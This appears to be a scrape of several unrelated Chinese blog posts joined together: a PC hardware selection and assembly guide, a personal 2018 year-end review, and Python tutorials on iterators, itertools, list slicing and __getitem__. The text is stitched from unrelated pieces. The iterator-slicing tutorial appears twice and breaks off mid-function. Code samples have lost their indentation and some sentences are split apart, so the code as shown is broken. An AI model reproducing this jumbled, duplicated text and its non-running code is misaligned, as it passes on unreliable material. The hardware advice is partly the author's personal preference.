CPU是一台电脑的大脑,大部分的运算都是需要CPU直接或间接(GPU承担了某些运算的一部分)的参与。目前用户层面桌面PC选择CPU也就两大厂商,Intel和AMD。两家厂商的特点我就不介绍了,大多数人都了解。我就提两个方面,用AMD的CPU可以搭一个3A平台(自行百度),选Intel特别要注意代际变化和兼容,不过好在主流的都是兼容的(上次公司电脑就把我坑到了,那是个非主流的机器)。这里就我的CPU来说下选择因素,首先Intel的产品定位,Intel分为高端的酷睿,中端的奔腾和低端的赛扬。酷睿又从I3,I5,I7,I9依次分级(前提是同一代级的),一般I3的双核是I7的4核中的两个,说白了就阉割了一半,I5四核是比I7效能略低的核心,I9土豪专用。博主的预算是不超过7K,含显示器,所以6000的主机来说,四大件占比80%的费用,CPU的选择范围就在1200元左右,而我估了一下主流的主板一半都在800多块钱,所以将400多的预算加到CPU上,CPU的价格到了1600左右,选择盒装产品,I5-8500直接进入首选范围。至于盒装和散片的概念请自行百度,早些年打磨散片坑人的奸商比比皆是,所以一直对散片无好感,另外盒装的散热风扇我是觉得足够用了,如果你是大型游戏的狂热份子,或者专业作图的,建议换个专业的散热器。另外有了型号了,其实接口就已经固定了1151的针脚。
选定了CPU后,主板的选择其实已经圈定了,选择合适的芯片组就好了。什么是芯片组?既然是组,那就不是一个芯片,通常我们说的芯片组是指南北桥芯片组合方案,例如说Z370,B360,H310这些,前面说AMD的时候讲到3A平台,其中一个A就是AMD的芯片组,例如X470芯片组。芯片组说了这么多具体啥用,主要是匹配不同的CPU和提供不同的扩展。前面说Z370、B360、H310其实都是intel300系列芯片组,其中Z370定位高端,B360中端,H310低端。举例来说:适配性方面,他们都支持8代酷睿,而如果你需要超频,那么只能选Z370,B360和H310是不支持超频的,扩展性方面,Z370支持三个M.2接口,B360支持两个M.2接口,而H310只支持一个M.2接口。对于我们普通用户,超频什么的是不可能的了,会玩超频的你肯定也不会看我这篇博文了,所以B360作为家用主流首选,价格更合适。说完芯片组,我们再来讲一下板型,你会经常看到为什么主板有大有小,这就是所谓的板型了,遵循的是ATX规范。主要分ATX大板,ATX小板。还有一种mini板。ATX大板就是标准的全尺寸主板,小板叫microATX。区别就是尺寸,尺寸大小又关系到插槽的多寡及散热和电磁干扰性。家用建议使用ATX大板,比如博主这块B360 HD3,当然对应的这个主要的小板型号是B360M-DS3H。说完板型,主板还有一个不得不提的所谓供电方案,主要是几相供电,简单理解就是供电相数越多,CPU越稳定,特别是需要超频的,供电相数太小会不成功哦。
作为普通用户选择内存第一要素,除了价格外,当然是容量。容量的选择是根据需求来的,随着系统和软件现在占用内存越来越大,现在跑个WIN10,8G起步。除了容量,内存我们还需要关注哪些指标呢?第一个是内存规格,我们通常说的DDR4、DDR3就是规格不同,买的时候看下主板支持的规格。第二个是频率问题,拿DDR4来说常见的有3200、2666、2400、2333。选择的时候,就高不就低,比如主板主持2400的内存,你可以选2400,2666这些大于2400的都可以,但是不建议买2333这样的了。如果玩内存超频的就另一种说法了。第三个需要注意的是所谓通道技术,也就是常说的内存双通道技术。例如现在要电脑配置8G内存,是选择单条8G还是选4G*2呢?理论上双通道模式下内存读写速度比单通道要快一倍,如果内存价格差距不是特别明显的情况下,双通道是首选,单通道最后考虑。现在很多主板都有四个内存插槽,有些主板做的人性化一点,四个内存槽的颜色是不同的,颜色一致的就组成双通道方案了,插内存的时候对应一下即可。7P组笛大佬说一般插1、3槽,我印象中只是习惯问题。如果四根槽默认支持的频率不同,优先选择高频率的两根。至于单通道没啥好说的,那啥,什么,你要插3根内存,你就当我放屁没说话好吧。最后对了,如果双通道的话,最好是同一品牌同一规格的内存,最最最最好是同一批次的。博主用的威刚,其实博主对OCZ恋恋不忘。
显卡关乎大家对显示性能的追求了,关于核显和独显的区别就不用科普了吧。我们来说说独显,它其实是分游戏显卡和专业显卡的。从芯片角度分,又有A卡和N卡的区别,A卡就是前面我说3A平台的最后一个A了,AMD的芯片方案,A卡公司在被AMD收购之前我们一般叫ATI显卡,就是A卡,另外一个就是NVIDIA显卡了,即N卡。如果说一定有什么区别,那么A卡在作图领域肯定比N卡牛逼,在游戏领域N卡绝对比A卡优化的要好。就这点区别了,如果对游戏要求不搞,经常做设计无论是平面还是3D设计,A卡会相对好些。如果追求大型3D游戏效果,那么N卡好一些。抛开这些,至于显存大小,显存位宽,显存频率,流处理器数量这些只要从指标数值就能判断出来,我就不说了。说点别的,比如玩个显卡交火,A卡的方案叫CrossFire交火技术,N卡叫SLI交火技术,玩这个需要综合看下主板和显卡的双向支持程度。比如楼主10年那台双卡交火性能,用硬件评测的话,性能仍然在主流位置。啥,你让我推荐品牌?这不太好吧,一般针对普通用户选择,我所认为的一线大厂,A卡的一线大厂是迪兰恒进和蓝宝石,N卡是影驰和七彩虹。博主这块显卡其实标配应该选GTX1060的,首选是预算我抠的比较紧,第二我对显示性能没多大要求,很多年不玩大型游戏了,所以选了个加强版的1050ti,价格比1060便宜,性能损失不是很大。
其实博主真的很多年不关注硬件了,固态硬盘这几年更新也很快,只要关注接口和读写速度就好了,M.2的硬盘肯定比SATA3的要来的快。固态硬盘的缺陷也很明显,读写次数的上限,老化速度,存储机制。固态的优势就是快,所以用来装系统和装软件不错,因为这些缺陷所以不建议用来保存数据。并且万一硬盘挂了,机械硬盘最差也好歹能开盘,固态就彻底嗝屁了。有个小技巧,固态硬盘不建议把数据塞满哦,因为存储机制的问题,最好用个百分之八九十就别装东西了,它不像机械硬盘能写到最后一根磁道。
这个就更没啥好说的了,就一句话,日立的盘说多了都是泪,希捷和西数随便选吧,除去价格,无非关注容量和缓存。西数早些年的绿盘事件,博主比较害怕,所以经博主的手装的机没有西数的东西。缓存越大越好,至于NCQ啊这种指标和其它新技术没啥可关注的,因为感官上你是体会不到的。
如果说CPU是大脑,那电源就应该是心脏,一个人心脏不好,这个人也好不到哪里去。电源的主要作用是将市电转换成各种电压、电流和功率指标的电力供给不同的配件。电源主要关注的指标通常只有功率,也就是说多少瓦来着,像B360的板子起码300W以上的电源带动。而我们所看到的电源功率通常是额定功率,实际功率是不足的,这里就会引入了一个指标叫转换效率,根据转换效率不同,为了更直观的了解电源,有个叫80PLUS的标准,通常有金银铜三个等级,除此外还有白牌80PLUS和铂金80PLUS,贵金属这东西你看哪个贵,就哪种80PLUS更好。如果计算一台电脑大概需要多少功率,还是回到四大件身上,简单而言,一个CPU预计需要90-120W的电力供应,主板需要50-100W的电力供应,一个显卡需要60-100W的电力供应,2根内存需要20-30W的电力供应,其他配件电力损耗就很小了,这样算下来差不多300W的实际消耗,那么额定功率按照80PLUS的转换标准,满载约要400W以上的电源。
这个屏幕尺寸、分辨率、延迟、材质、接口类型,很多喜欢外设的朋友这个比我都专业,我就不说了,我就是比较喜欢三星的色彩还原度。
那种花哨的亚克力材质,算了吧,追求杀马特风格的氛围灯,各种水冷炫技的搭配,不是我说的重点,我说的重点是有两个,一个是机箱尺寸,中塔机箱,标准机箱,小机箱,搭配你的主板的,别选错了。材质,主要集中在钢板厚度,镀锌涂层,和开孔方式。啥?这有啥用?因为隔离电磁辐射在电脑上最有效的就是镀锌钢板,材质越厚,镀锌涂层越厚,效果越好。机箱上的开孔是正六边形的孔最好。散热器的选择,如果不玩水冷,风冷方面,CPU盒装风扇我觉得够了,你可以适当搭配一个机箱后置12厘米的风扇负责抽风。这样散热就不是问题了,有些好的机箱风道设计的很好,再辅之以背板走线,即便是夏天没空调,散热也不是问题。
其实说了这么多,很多深层次的参数博主并没有提到,比如说CPU的纳米制程、缓存大小、超线程、虚拟化技术。因为这些对于普通用来说,不影响你选择配置,更多的和资深硬件玩家有关。
图片我拍的比较少,很多步骤自己一个人装机就忘了拍照了,我尽量把装机顺序讲清楚。装机之前的注意事项,首先你需要一把十字口螺丝刀。剩下工具都可以不用了,装机之前,特别是这大冬天,一定要除下静电,你穿个毛衣,满身静电去接触电子配件,保不齐就把那个电子管或者电容给击穿了。除静电办法先去洗个手,用手接触下金属的自来水管。或者大件的金属物体。
先来看看配件全家福。
装机第一步取出主板,除去外层的防静电袋。放置在一个平整的平面上,有些主板自带减震海绵,没有的话直接放桌子上就行,别有水就好了。
去掉CPU插槽保护盖,打开固定卡座,如图这样。
取出CPU,平稳放置在CPU插槽上,注意放置的位置,看一下CPU四个角,有一个角有一个三角形的标记,同样在主板CPU插槽上也有一个标志(标在卡座的金属上面的),两个标志对应起来,并且CPU和插槽均有缺口设计,防止放错,放上CPU卡住卡座就OK了。
插上盒装风扇,风扇底部和CPU接触部分已经预涂了散热硅脂,别用手去摸,将风扇四个脚对齐主板上CPU插槽周围的四个孔,用力按下风扇的插脚,听到咔哒一声就OK了,按的时候注意,对角用力。然后将CPU风扇的插头查到主板对应的CPU风扇插脚上,一般在CPU上方的位置,有个C_FAN的标志,并且带有防反插设计。插上就成功了。
接下来安装内存,将内存从包装中取出,打开内存插槽两端的卡扣(掰向两侧),在内存插槽上对应插上,内存和插槽有缺口设计,防反插。用两个大拇指在内存的两端均匀用力,直到内存插槽两端的卡扣自动卡到位。
然后装上固态硬盘,博主的是M.2口的固态硬盘,如果有多个M.2插槽,看下主板上是不是有标注不同的速率等级,优先选快的那个,基本都是靠近CPU的那个。说来也糗,博主这几年没装机了,到手的M.2硬盘因为被主板上的接口箭头误导,还以为要一个数据线。插好固态硬盘后,在尾部的螺丝拧松,把固态硬盘的半圆缺口卡进去拧上螺丝即可。
接下来我们要折腾机箱了,打开机箱两侧盖板,将主板轻轻放到机箱内部,看一下主板固定螺丝孔和机箱对应位置是否都有螺丝母座。比对完成以后,主板放一边,把没有没有螺丝母座的先拧上,就是图中这样的螺丝。把主板自带的一个金属挡板装到机箱上,用螺丝刀背部轻敲几下,知道四周都卡到位,注意,这个挡板四周很锋利当心割到手。然后装上电源,电源很简单,电源卡到电源卡座上,用四个螺丝在机箱外部固定就好了,然后把电源线全部从机箱内侧隔板上的空穿到另外一边,用于背板走线。如图这样的。
装好电源以后,再次把主板放置到机箱内部,把所有螺丝固定上,全部对角操作。不要用力拧太紧,免得把PCB板拧裂了,能固定不动即可。然后把显卡插槽对应的机箱挡板掰掉,用手来回掰一下就断开了
弄完以后我们装上机械硬盘、光驱(如果有的话)、显卡。机械硬盘在机箱前半截有对应的硬盘卡座,有些比较好的机箱,硬盘卡座是免螺丝的,塑料卡扣卡上就行,博主这个是上螺丝的。显卡插的时候和内存一样,先掰开后面的卡扣,然后插上显卡,手指在显卡两端用力知道卡扣到位,然后把显卡和机箱接触的技术卡座对应机箱上的螺丝孔,拧一个固定螺丝。这样就完成了所有配件的安装。
接下来就是重要的插线步骤了。插线主要是不同配件的供电接口是不同的,简单看一下你就懂,首先是最大的主板供电口,等下我在后面另配一个图片用来说明。然后就是CPU、显卡和机械硬盘的供电,几种插头不一样的。不会搞错。最后就是主板跳线的安插了,这个比较棘手一点,很多人搞不清。我们先来装AUDIO的插头,图中这个蓝色的,插到对应的插座上,主板上有标识。针脚有缺少,插头有实心,这也是防反插设计。再插黑色的这个USB对应的USB插座上,有些机箱有独立USB3.0接口的,记得插上。剩下就是电源开关重启按钮电源指示灯和硬盘指示灯的插头了,主板做的比较好的都用对应颜色标注了,实在搞不清的,翻一下主板说明书。电源插头一般是PW+-,电源指示灯是PWLED+-,重启插头是RES+-,硬盘指示灯HDD+-,这几种针脚因为有正负极,只要对着主板上标注的插上即可,如果主板因为印刷的问题,看不清或者没记录,那就翻一下手册或者官网上查下指南就行了。
在插线的时候记得根据插座在主板的位置,插线从机箱背板上不同的孔穿过来,多余的线就留在背板后面就好,插完内部各种线,接下来线束稍微整理一下,特别是CPU风扇的线,要预估下别被风扇叶片打到,如果过长可以打个圈圈留在那儿。然后就在外面接上键盘鼠标和显示器,通电看下能不能点亮吧。没问题就撞上机箱盖板完成了。
至于后面BIOS设置、硬盘分区、装系统不是本文探讨内容,这里就不讲了。这样就完成了整套电脑的硬件组装。前面大篇幅的硬件选择内容,可能有不准确的,都是基于博主自己的经验和喜好来的,仅供参考。
迭代器是一种最简单也最常见的设计模式。它可以让用户透过特定的接口巡访容器中的每一个元素而不用了解底层的实现。——维基百科
List<String> list = new ArrayList<>();
Iterator<String> iterator = list.iterator();
while(iterator.hasNext()){
System.out.println(iterator.next());
}
list = [1,2,3,4]
for i in list:
print(i,end=" ") # 1 2 3 4
for i in list:
print(i,end=" ") # 1 2 3 4
list = [1,2,3,4]
it = iter(list)
for i in it:
print(i,end=" ") # 1 2 3 4
for i in it:
print(i,end=" ") # 无输出
__iter__()
与 __next__()
魔术方法,定义类实现这两个魔术方法;(3)itertools 模块,使用内置模块生成迭代器;(4)其它创建方法,如 zip() 、map() 、enumerate() 等等。count(start=0, step=1)
:创建一个从 start (默认值为 0) 开始,以 step (默认值为 1) 为步长的的无限整数迭代器。cycle(iterable)
:对可迭代对象的元素反复执行循环。repeat(object [,times])
:反复生成 object 至无限,或者到给定的 times 次。import itertools
co = itertools.count()
cy = itertools.cycle('ABC')
re = itertools.repeat('A', 30)
# 注意:请分别执行;以下写法未加终止判断,只能按 Ctrl+C 退出
for n in co:
print(n,end=" ") # 0 1 2 3 4......
for n in cy:
print(n,end=" ") # A B C A B C A B......
for n in re:
print(n,end=" ") # A A A A A A A A....(30个)
for c in itertools.chain('ABC', [1,2,3]):
print(c,end=" ")
# 输出结果:A B C 1 2 3
for c in itertools.compress('ABCDEF', [1, 1, 0, 1, 0, 1]):
print(c,end=" ")
# 输出结果:A B D F
for key, group in itertools.groupby('aaabbbaaccd'):
print(key, ':', list(group))
# 输出结果:
a : ['a', 'a', 'a']
b : ['b', 'b', 'b']
a : ['a', 'a']
c : ['c', 'c']
d : ['d']
itertools.tee('abc', 3)
# 输出结果:(<itertools._tee at 0x1fc72c08108>,
<itertools._tee at 0x1fc73f91d08>,
<itertools._tee at 0x1fc73efc248>)
for i in itertools.product('ABC', [1,2]):
print(i, end=" ")
# 输出结果:('A', 1) ('A', 2) ('B', 1) ('B', 2) ('C', 1) ('C', 2)
for i in itertools.permutations('ABC', 2):
print(i, end=" ")
# 输出结果:('A', 'B') ('A', 'C') ('B', 'A') ('B', 'C') ('C', 'A') ('C', 'B')
for i in itertools.combinations('ABC', 2):
print(i, end=" ")
# 输出结果:('A', 'B') ('A', 'C') ('B', 'C')
for i in itertools.combinations('ABCD', 3):
print(i, end=" ")
# 输出结果:('A', 'B', 'C') ('A', 'B', 'D') ('A', 'C', 'D') ('B', 'C', 'D')
import itertools
a = [1, 2, 3]
b = ['w', 'x', 'y', 'z']
for i in zip(a,b):
print(i,end=" ") # (1, 'w') (2, 'x') (3, 'y')
# 空缺值以 None 填补
for i in itertools.zip_longest(a,b):
print(i,end=" ") # (1, 'w') (2, 'x') (3, 'y') (None, 'z')
seasons = ['Spring', 'Summer', 'Fall', 'Winter']
for i in enumerate(seasons):
print(i,end=" ")
#输出结果:(0, 'Spring') (1, 'Summer') (2, 'Fall') (3, 'Winter')
for i in enumerate(seasons, start=7):
print(i,end=" ")
#输出结果:(7, 'Spring') (8, 'Summer') (9, 'Fall') (10, 'Winter')
def square(x):
return x ** 2
l = map(square, [1, 2, 3, 4, 5])
print(list(l))
# 输出结果:[1, 4, 9, 16, 25]
m = map(lambda x, y: x + y, [1, 3, 5, 7, 9], [2, 4, 6, 8, 10, 2])
print(list(m))
# 输出结果:[3, 7, 11, 15, 19]
import itertools
fi = filter(lambda x: x%2, range(10))
ff = itertools.filterfalse(lambda x: x%2, range(10))
for i in fi:
print(i,end=" ")
# 输出结果:1 3 5 7 9
for i in ff:
print(i,end=" ")
# 输出结果:0 2 4 6 8
先来盘点一下去年立的flag,第一条就是保持8-10篇的月更。看看归档日志,别说达标了,竟然还有断更的月份。第二是完善这个博客系统,虽然赶着12月的时候把后端全部重构过了,前端重构还没开始,离完善似乎还远。第三,深度学习下TP5和PHP7,算了,简直无从谈起,额外的python更是在下半年直接中断了。第四,拖延症依然没有太大改观,在某些时刻倒是愈发严重了。最后,那个笑话成真了,糗。
月更目标显然是没有完成。这一年博客总计更文76篇(含这篇)。上半年主要还是技术文,下半年就差不多“转型”生活博客了。这一年总共收到评论760条,当然这其中接近一半是我的回复。这一年总计收到留言14条,多数都是交换链接的留言。这一年总计有44位朋友在博客上通过手机号注册了账号(不包括我拉黑的3位)。这一年因为需要手机号来验证,阻挡了46位朋友的脚步(只计算点击了登陆按钮没绑定手机的用户)。这一年,博客系统大大小小改了37次。这一年博客总计有48055个访客,47240个IP访问,日均129个IP。这一年约100个关键词在百度前100名(若干个关键词稳妥的超越百度经验和行业龙头网站)。这大概就是西枫里博客这一年来的核心数据了。
双十一的时候下狠手花了2070买了阿里云2H8G5M的云服务器,把之前的三个一的突发给换了。12月的时候完成了从TP5.0到TP5.1的升级改造,并把前台做了大量缓存,mmTrix评测爬上92分,GTmetrix爬上A,C(C级这一个因素其实只是三个图片没有应用缩略图,懒得改了),myssl爬上A+。最近,在年终的最后两天,博客有幸被小志博客导航收录(PY交易)在2017年度内。
首先是产品经理身份,2018年7月重入职场,在一家传统企业从事互联网+的转型工作,传统企业远没有网络公司这边自由的时间和平等的对话,各种规章制度和职业等级及审批手续,有点恼人。经过数月的熟悉和介入,公司新业务这块正按部就班的步入正轨。其次是皮包公司这块,大量的工作都是搭档在做,大恩不言谢。
2018年的生活,依旧有吵闹,下次在结婚纪念日更文的时候再总结吧,女儿一天天长大,从咿咿呀呀到鹦鹉学舌,从一步三摇到健步快跑,慢慢的那假小子的发型如今可以扎起两条小辫了。不出3月,要开始在网上给她报名幼儿园了,看着似乎没变的模样,翻翻过往的照片和渐渐短小的衣服,道不是岁月催人老!
随行就市的做一些博客的更新,不能放弃的学习(这该死的互联网行业,技术的进步使人落伍),经营生活经营婚姻,育儿的路上还需披荆斩棘。别再偷懒了,出去运动一下吧,毕竟脂肪肝已经很严重了,别再拖延了,到手的活儿就地解决吧,毕竟拖到最后还是自己的事情。
li = [1, 4, 5, 6, 7, 9, 11, 14, 16]
# 以下写法都可以表示整个列表,其中 X >= len(li)
li[0:X] == li[0:] == li[:X] == li[:]
== li[::] == li[-X:X] == li[-X:]
li[1:5] == [4,5,6,7] # 从1起,取5-1位元素
li[1:5:2] == [4,6] # 从1起,取5-1位元素,按2间隔过滤
li[-1:] == [16] # 取倒数第一个元素
li[-4:-2] == [9, 11] # 从倒数第四起,取-2-(-4)=2位元素
li[:-2] == li[-len(li):-2]
== [1,4,5,6,7,9,11] # 从头开始,取-2-(-len(li))=7位元素
# 步长为负数时,列表先翻转,再截取
li[::-1] == [16,14,11,9,7,6,5,4,1] # 翻转整个列表
li[::-2] == [16,11,7,5,1] # 翻转整个列表,再按2间隔过滤
li[:-5:-1] == [16,14,11,9] # 翻转整个列表,取-5-(-len(li))=4位元素
li[:-5:-3] == [16,9] # 翻转整个列表,取-5-(-len(li))=4位元素,再按3间隔过滤
# 切片的步长不可以为0
li[::0] # 报错(ValueError: slice step cannot be zero)
[i : i+n : m]
,当出现缺省值时,通过想象把公式补全;li = [1, 2, 3, 4]
ls = li[::]
li == ls # True
id(li) == id(ls) # False
li.append(li[2:4]) # [1, 2, 3, 4, [3, 4]]
ls.extend(ls[2:4]) # [1, 2, 3, 4, 3, 4]
# 下例等价于判断li长度是否大于8
if(li[8:]):
print("not empty")
else:
print("empty")
# 切片列表受制于原列表
lo = [1,[1,1],2,3]
lp = lo[:2] # [1, [1, 1]]
lo[1].append(1) # [1, [1, 1, 1], 2, 3]
lp # [1, [1, 1, 1]]
li = [1, 2, 3, 4]
# 在头部拼接
li[:0] = [0] # [0, 1, 2, 3, 4]
# 在末尾拼接
li[len(li):] = [5,7] # [0, 1, 2, 3, 4, 5, 7]
# 在中部拼接
li[6:6] = [6] # [0, 1, 2, 3, 4, 5, 6, 7]
# 给切片赋值的必须是可迭代对象
li[-1:-1] = 6 # (报错,TypeError: can only assign an iterable)
li[:0] = (9,) # [9, 0, 1, 2, 3, 4, 5, 6, 7]
li[:0] = range(3) # [0, 1, 2, 9, 0, 1, 2, 3, 4, 5, 6, 7]
li[:0]==li[len(li):]==li[6:6]==[]
,我将这种占位符称为“纯占位符”,对纯占位符赋值,并不会破坏原有的元素,只会在特定的索引位置中拼接进新的元素。删除纯占位符时,也不会影响列表中的元素。li = [1, 2, 3, 4]
# 不同位置的替换
li[:3] = [7,8,9] # [7, 8, 9, 4]
li[3:] = [5,6,7] # [7, 8, 9, 5, 6, 7]
li[2:4] = ['a','b'] # [7, 8, 'a', 'b', 6, 7]
# 非等长替换
li[2:4] = [1,2,3,4] # [7, 8, 1, 2, 3, 4, 6, 7]
li[2:6] = ['a'] # [7, 8, 'a', 6, 7]
# 删除元素
del li[2:3] # [7, 8, 6, 7]
li = [1, 2, 3, 4, 5, 6]
li[::2] = ['a','b','c'] # ['a', 2, 'b', 4, 'c', 6]
li[::2] = [0]*3 # [0, 2, 0, 4, 0, 6]
li[::2] = ['w'] # 报错,attempt to assign sequence of size 1 to extended slice of size 3
del li[::2] # [2, 4, 6]
__getitem__()
__getitem__()
即可。所以,这里就先介绍一下这个方法。object.__getitem__(self, key)
__getitem__()
method. If key is of an inappropriate type, TypeError may be raised; if of a value outside the set of indexes for the sequence (after any special interpretation of negative values), IndexError should be raised. For mapping types, if key is missing (not in the container), KeyError should be raised.__getitem__()
方法用于返回参数 key 所对应的值,这个 key 可以是整型数值和切片对象,并且支持负数索引;如果 key 不是以上两种类型,就会抛 TypeError;如果索引越界,会抛 IndexError ;如果定义的是映射类型,当 key 参数不是其对象的键值时,则会抛 KeyError 。import numbers
class MyList():
def __init__(self, anylist):
self.data = anylist
def __len__(self):
return len(self.data)
def __getitem__(self, index):
print("key is : " + str(index))
cls = type(self)
if isinstance(index, slice):
print("data is : " + str(self.data[index]))
return cls(self.data[index])
elif isinstance(index, numbers.Integral):
return self.data[index]
else:
msg = "{cls.__name__} indices must be integers"
raise TypeError(msg.format(cls=cls))
l = MyList(["My", "name", "is", "Python猫"])
### 输出结果:
key is : 3
Python猫
key is : slice(None, 2, None)
data is : ['My', 'name']
<__main__.MyList object at 0x0000019CD83A7A90>
key is : hi
Traceback (most recent call last):
...
TypeError: MyList indices must be integers or slices
class MyDict():
def __init__(self):
self.data = {}
def __len__(self):
return len(self.data)
def append(self, item):
self.data[len(self)] = item
def __getitem__(self, key):
if isinstance(key, int):
return self.data[key]
if isinstance(key, slice):
slicedkeys = list(self.data.keys())[key]
return {k: self.data[k] for k in slicedkeys}
else:
raise TypeError
d = MyDict()
d.append("My")
d.append("name")
d.append("is")
d.append("Python猫")
print(d[2])
print(d[:2])
print(d[-4:-2])
print(d['hi'])
### 输出结果:
is
{0: 'My', 1: 'name'}
{0: 'My', 1: 'name'}
Traceback (most recent call last):
...
TypeError
迭代
是一种遍历容器类型对象(例如字符串、列表、字典等等)的方式,例如,我们说迭代一个字符串“abc”,指的就是从左往右依次地、逐个地取出它的全部字符的过程。(PS:汉语中迭代一词有循环反复、层层递进的意思,但 Python 中此词要理解成单向水平线性 的,如果你不熟悉它,我建议直接将其理解为遍历。)# for循环实现迭代过程
for char in "abc":
print(char, end=" ")
# 输出结果:a b c
__iter__()
魔术方法,换言之,只要实现了这个魔术方法的对象都是可迭代对象。# 方法1:dir()查看__iter__
dir(2) # 没有,略
dir("abc") # 有,略
# 方法2:isinstance()判断
import collections
isinstance(2, collections.Iterable) # False
isinstance("abc", collections.Iterable) # True
# 方法3:hasattr()判断
hasattr(2,"__iter__") # False
hasattr("abc","__iter__") # True
# 方法4:用iter()查看是否报错
iter(2) # 报错:'int' object is not iterable
iter("abc") # <str_iterator at 0x1e2396d8f28>
### PS:判断是否可迭代,还可以查看是否实现__getitem__,为方便描述,本文从略。
__iter__
),所谓“两不同”,即可迭代对象在转化为迭代器后,它会丢失一些属性(__getitem__
),同时也增加一些属性(__next__
)。__next__
, 它是迭代器之所以是迭代器的关键,事实上,我们正是把同时实现了 __iter__
方法 和 __next__
方法的对象定义为迭代器的。它遍历
指的是通过外部语法而实现的遍历,自遍历
指的是通过自身方法实现的遍历。ob1 = "abc"
ob2 = iter("abc")
ob3 = iter("abc")
# ob1它遍历
for i in ob1:
print(i, end = " ") # a b c
for i in ob1:
print(i, end = " ") # a b c
# ob1自遍历
ob1.__next__() # 报错: 'str' object has no attribute '__next__'
# ob2它遍历
for i in ob2:
print(i, end = " ") # a b c
for i in ob2:
print(i, end = " ") # 无输出
# ob2自遍历
ob2.__next__() # 报错:StopIteration
# ob3自遍历
ob3.__next__() # a
ob3.__next__() # b
ob3.__next__() # c
ob3.__next__() # 报错:StopIteration
__getitem__
。在前一节中,我已经介绍了这个魔术方法,并用它实现了自定义对象的切片特性。__getitem__
属性了。其次,若强行给迭代器加上这个属性,这并不合理,正所谓强扭的瓜不甜…hi = "欢迎关注公众号:Python猫"
it = iter(hi)
# 普通切片
hi[-7:] # Python猫
# 反例:迭代器切片
it[-7:] # 报错:'str_iterator' object is not subscriptable
__getitem__
,因此不能使用普通的切片语法。想要实现切片,无非两种思路:一是自己造轮子,写实现的逻辑;二是找到封装好的轮子。import itertools
# 例1:简易迭代器
s = iter("123456789")
for x in itertools.islice(s, 2, 6):
print(x, end = " ") # 输出:3 4 5 6
for x in itertools.islice(s, 2, 6):
print(x, end = " ") # 输出:9
# 例2:斐波那契数列迭代器
class Fib():
def __init__(self):
self.a, self.b = 1, 1
def __iter__(self):
while True:
yield self.a
self.a, self.b = self.b, self.a + self.b
f = iter(Fib())
for x in itertools.islice(f, 2, 6):
print(x, end = " ") # 输出:2 3 5 8
for x in itertools.islice(f, 2, 6):
print(x, end = " ") # 输出:34 55 89 144
def islice(iterable, *args):
# islice('ABCDEFG', 2) --> A B
# islice('ABCDEFG', 2, 4) --> C D
# islice('ABCDEFG', 2, None) --> C D E F G
# islice('ABCDEFG', 0, None, 2) --> A C E G
s = slice(*args)
# 索引区间是[0,sys.maxsize],默认步长是1
start, stop, step = s.start or 0, s.stop or sys.maxsize, s.step or 1
it = iter(range(start, stop, step))
try:
nexti = next(it)
except StopIteration:
# Consume *iterable* up to the *start* position.
for i, element in zip(range(start), iterable):
pass
return
try:
for i, element in enumerate(iterable):
if i == nexti:
yield element
nexti = next(it)
except StopIteration:
# Consume to *stop*.
for i, element in zip(range(i + 1, stop), iterable):
pass
# test.txt 文件内容
'''
猫
Python猫
python is a cat.
this is the end.
'''
from itertools import islice
with open('test.txt','r',encoding='utf-8') as f:
print(hasattr(f, "__next__")) # 判断是否迭代器
content = islice(f, 2, 4)
for line in content:
print(line.strip())
### 输出结果:
True
python is a cat.
this is the end.
迭代
是一种遍历容器类型对象(例如字符串、列表、字典等等)的方式,例如,我们说迭代一个字符串“abc”,指的就是从左往右依次地、逐个地取出它的全部字符的过程。(PS:汉语中迭代一词有循环反复、层层递进的意思,但 Python 中此词要理解成单向水平线性 的,如果你不熟悉它,我建议直接将其理解为遍历。)# for循环实现迭代过程
for char in "abc":
print(char, end=" ")
# 输出结果:a b c
__iter__()
魔术方法,换言之,只要实现了这个魔术方法的对象都是可迭代对象。# 方法1:dir()查看__iter__
dir(2) # 没有,略
dir("abc") # 有,略
# 方法2:isinstance()判断
import collections
isinstance(2, collections.Iterable) # False
isinstance("abc", collections.Iterable) # True
# 方法3:hasattr()判断
hasattr(2,"__iter__") # False
hasattr("abc","__iter__") # True
# 方法4:用iter()查看是否报错
iter(2) # 报错:'int' object is not iterable
iter("abc") # <str_iterator at 0x1e2396d8f28>
### PS:判断是否可迭代,还可以查看是否实现__getitem__,为方便描述,本文从略。
__iter__
),所谓“两不同”,即可迭代对象在转化为迭代器后,它会丢失一些属性(__getitem__
),同时也增加一些属性(__next__
)。__next__
, 它是迭代器之所以是迭代器的关键,事实上,我们正是把同时实现了 __iter__
方法 和 __next__
方法的对象定义为迭代器的。它遍历
指的是通过外部语法而实现的遍历,自遍历
指的是通过自身方法实现的遍历。ob1 = "abc"
ob2 = iter("abc")
ob3 = iter("abc")
# ob1它遍历
for i in ob1:
print(i, end = " ") # a b c
for i in ob1:
print(i, end = " ") # a b c
# ob1自遍历
ob1.__next__() # 报错: 'str' object has no attribute '__next__'
# ob2它遍历
for i in ob2:
print(i, end = " ") # a b c
for i in ob2:
print(i, end = " ") # 无输出
# ob2自遍历
ob2.__next__() # 报错:StopIteration
# ob3自遍历
ob3.__next__() # a
ob3.__next__() # b
ob3.__next__() # c
ob3.__next__() # 报错:StopIteration
__getitem__
。在《Python进阶:自定义对象实现切片功能》中,我曾介绍了这个魔术方法,并用它实现了自定义对象的切片特性。__getitem__
属性了。其次,若强行给迭代器加上这个属性,这并不合理,正所谓强扭的瓜不甜…hi = "欢迎关注公众号:Python猫"
it = iter(hi)
# 普通切片
hi[-7:] # Python猫
# 反例:迭代器切片
it[-7:] # 报错:'str_iterator' object is not subscriptable
__getitem__
,因此不能使用普通的切片语法。想要实现切片,无非两种思路:一是自己造轮子,写实现的逻辑;二是找到封装好的轮子。import itertools
# 例1:简易迭代器
s = iter("123456789")
for x in itertools.islice(s, 2, 6):
print(x, end = " ") # 输出:3 4 5 6
for x in itertools.islice(s, 2, 6):
print(x, end = " ") # 输出:9
# 例2:斐波那契数列迭代器
class Fib():
def __init__(self):
self.a, self.b = 1, 1
def __iter__(self):
while True:
yield self.a
self.a, self.b = self.b, self.a + self.b
f = iter(Fib())
for x in itertools.islice(f, 2, 6):
print(x, end = " ") # 输出:2 3 5 8
for x in itertools.islice(f, 2, 6):
print(x, end = " ") # 输出:34 55 89 144
def islice(iterable, *args):
# islice('ABCDEFG', 2) --> A B
# islice('ABCDEFG', 2, 4) --> C D
# islice('ABCDEFG', 2, None) --> C D E F G
# islice('ABCDEFG', 0, None, 2) --> A C E G
s = slice(*args)
# 索引区间是[0,sys.maxsize],默认步长是1
start, stop, step = s.start or 0, s.stop or sys.maxsize, s.step or 1
